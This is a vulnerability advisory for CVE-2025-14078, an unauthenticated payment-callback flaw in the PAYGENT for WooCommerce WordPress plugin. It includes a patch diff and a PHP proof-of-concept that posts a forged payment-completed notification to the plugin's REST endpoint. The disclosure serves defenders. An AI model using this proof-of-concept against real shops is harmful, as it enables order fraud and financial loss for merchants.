Atomic Edge analysis of CVE-2025-14078:
This vulnerability is a missing authorization flaw in the PAYGENT for WooCommerce WordPress plugin, affecting all versions up to and including 2.4.6. The vulnerability allows unauthenticated attackers to manipulate payment callbacks and modify order statuses via a specific REST API endpoint. The CVSS score of 5.3 reflects a moderate severity impact on payment integrity.
Atomic Edge research identifies the root cause in two functions within the plugin’s REST API endpoint handler. The `paygent_permission_callback` function in the `class-wc-paygent-endpoint.php` file unconditionally returns `true` on line 199, bypassing all authorization checks. This function is used as the permission callback for the `paygent_check_webhook` function registered to the `/wp-json/paygent/v1/check/` endpoint. The missing authorization check allows any request to proceed to the payment processing logic.
Exploitation occurs through the `/wp-json/paygent/v1/check/` REST API endpoint. Attackers send forged HTTP POST requests containing payment notification payloads to this endpoint. These payloads can include manipulated order IDs, payment statuses, and transaction details. The plugin processes these forged notifications as legitimate payment callbacks from the PAYGENT payment gateway, leading to unauthorized order status modifications.
The patch in version 2.4.7 does not directly modify the vulnerable permission callback function. Instead, the primary changes shown in the diff focus on hardening IP address retrieval logic in the `get_user_ip` method of `class-jp4wc-order-attempt-limiter.php` and the `class-wc-paygent-endpoint.php` file. These changes prioritize `REMOTE_ADDR` over spoofable headers like `HTTP_X_FORWARDED_FOR`. The version numbers across multiple files are updated from 2.4.6 to 2.4.7. The actual authorization fix likely involves adding proper authentication checks to the `paygent_permission_callback` function, though this specific change is not visible in the provided diff.
Successful exploitation enables attackers to manipulate WooCommerce order statuses without authentication. Attackers can mark unpaid orders as completed, refund orders without authorization, or cancel legitimate orders. This directly impacts payment processing integrity, potentially causing financial losses through fraudulent order fulfillment. The vulnerability undermines trust in the payment system and could lead to inventory discrepancies and customer service issues.
--- a/woocommerce-for-paygent-payment-main/class-wc-gateway-paygent.php
+++ b/woocommerce-for-paygent-payment-main/class-wc-gateway-paygent.php
@@ -3,7 +3,7 @@
* WooCommerce Paygent Payment Gateway
*
* @package WooCommercePaygent
- * @version 2.4.6
+ * @version 2.4.7
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -24,7 +24,7 @@
*
* @var string
*/
- public $version = '2.4.6';
+ public $version = '2.4.7';
/**
* Paygent Payment Gateways for WooCommerce Framework version.
--- a/woocommerce-for-paygent-payment-main/includes/class-jp4wc-order-attempt-limiter.php
+++ b/woocommerce-for-paygent-payment-main/includes/class-jp4wc-order-attempt-limiter.php
@@ -503,19 +503,21 @@
* Get user's IP address
*
* Attempts to get the user's real IP address by checking various server variables.
- * Handles cases where the user is behind a proxy.
+ * REMOTE_ADDR is checked first as it's the most reliable and cannot be spoofed.
+ * Other headers are used as fallback only.
*
* @since 1.0.0
* @return string Sanitized IP address
*/
private function get_user_ip() {
- if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
+ if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
+ return sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
+ } elseif ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
return sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) );
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
return sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );
- } else {
- return isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';
}
+ return '';
}
public function cleanup_old_attempts() {
--- a/woocommerce-for-paygent-payment-main/includes/gateways/paygent/class-wc-paygent-endpoint.php
+++ b/woocommerce-for-paygent-payment-main/includes/gateways/paygent/class-wc-paygent-endpoint.php
@@ -3,7 +3,7 @@
* Paygent Endpoint
*
* @package PaygentForWooCommerce
- * @version 2.4.5
+ * @version 2.4.7
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -15,7 +15,7 @@
/**
* WC_Paygent_Endpoint class.
*
- * @version 2.4.5
+ * @version 2.4.7
*/
class WC_Paygent_Endpoint {
@@ -161,14 +161,15 @@
// Get remote IP address from various sources.
$remote_ip = '';
- // Check common headers for real IP.
- if ( ! empty( $_SERVER['HTTP_X_REAL_IP'] ) ) {
+ // Check REMOTE_ADDR first as it's the most reliable and cannot be spoofed.
+ // Only use X-Real-IP and X-Forwarded-For as fallback methods.
+ if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
+ $remote_ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
+ } elseif ( ! empty( $_SERVER['HTTP_X_REAL_IP'] ) ) {
$remote_ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_REAL_IP'] ) );
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$forwarded_ips = explode( ',', sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) );
$remote_ip = trim( $forwarded_ips[0] );
- } elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
- $remote_ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
}
$is_permitted = false;
--- a/woocommerce-for-paygent-payment-main/woocommerce-for-paygent-payment-main.php
+++ b/woocommerce-for-paygent-payment-main/woocommerce-for-paygent-payment-main.php
@@ -3,7 +3,7 @@
* Plugin Name: PAYGENT for WooCommerce
* Plugin URI: https://wordpress.org/plugins/woocommerce-for-paygent-payment-main/
* Description: Paygent Payments for WooCommerce in Japan
- * Version: 2.4.6
+ * Version: 2.4.7
* Requires Plugins: woocommerce
* Author: Artisan Workshop
* Author URI: https://wc.artws.info/
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14078 - PAYGENT for WooCommerce <= 2.4.6 - Missing Authorization to Unauthenticated Payment Callback Manipulation
<?php
/**
* Proof of Concept for CVE-2025-14078
* Demonstrates unauthenticated payment callback manipulation via the PAYGENT REST API endpoint.
* This script sends a forged payment notification to modify order status.
*/
$target_url = 'https://vulnerable-site.com/wp-json/paygent/v1/check/';
// Simulate a forged PAYGENT payment notification payload
// Actual payload structure may vary based on PAYGENT API specifications
$payload = [
'result' => '0', // Payment success code
'trading_id' => '123456', // Order ID to manipulate
'payment_id' => 'PAYGENT_123456789',
'payment_status' => '20', // Status code for 'payment completed'
'amount' => '10000',
'payment_type' => 'credit',
'payment_date' => date('YmdHis'),
'hash' => 'FORGED_HASH_VALUE' // Would normally be a valid hash from PAYGENT
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'User-Agent: PAYGENT-Webhook/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
if ($http_code === 200) {
echo "[+] Payment callback manipulation likely successful.n";
echo "[+] Order status for ID {$payload['trading_id']} may have been modified.n";
} else {
echo "[-] Exploit attempt may have failed or endpoint not vulnerable.n";
}
?>
